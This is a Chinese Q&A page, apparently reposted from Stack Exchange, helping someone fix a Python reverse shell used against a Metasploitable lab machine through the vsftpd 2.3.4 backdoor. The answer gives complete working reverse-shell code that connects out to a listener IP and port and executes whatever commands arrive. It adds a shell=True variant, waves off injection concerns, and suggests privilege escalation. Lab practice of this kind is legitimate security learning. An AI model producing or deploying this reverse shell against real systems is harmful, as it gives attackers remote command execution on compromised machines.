You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Python反向Shell遇OSError: [Errno 13]权限拒绝问题求助

解决Python反向Shell权限拒绝问题

问题原因分析

报错OSError: [Errno 13] Permission denied并非脚本本身权限问题(你已设置777权限),核心原因可能是以下几种:

  • 命令解析错误:用split(" ")拆分命令会将多空格拆分为空字符串,导致subprocess调用无效命令
  • 目标命令无执行权限:当前会话用户没有执行指定命令的权限
  • shell环境限制:Metasploitable系统的AppArmor/SELinux规则限制(概率较低)

具体解决步骤

1. 确认当前用户权限

先在会话中执行whoami,确认是否为root用户(vsftpd 2.3.4后门理论上默认返回root,但不排除特殊配置)。若不是root,尝试提权操作。

2. 修复命令解析逻辑

Python2.5中command.split(" ")存在解析缺陷,改用shlex.split()正确处理带空格的命令,示例代码:

import socket
import subprocess
import shlex

# 替换为你的监听IP和端口
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.100", 4444))

while True:
    cmd = s.recv(1024).strip()
    if not cmd:
        break
    # 用shlex.split替代split(" "),避免命令拆分错误
    proc = subprocess.Popen(shlex.split(cmd), stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    output = proc.stdout.read() + proc.stderr.read()
    s.send(output)

s.close()

3. 改用shell=True参数

若不想手动处理命令解析,直接让shell接管命令执行逻辑,修改Popen调用:

proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)

注:此方式需确保命令来源安全,避免注入风险,但反向Shell场景下通常无需顾虑。

4. 验证目标命令权限

比如你要执行bash,先在目标系统执行ls -l /bin/bash,确认其具备执行权限(通常为-rwxr-xr-x)。若权限不足,尝试替换为其他可执行命令(如/bin/sh)。

内容的提问来源于stack exchange,提问作者user22268653

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.13 08:20:15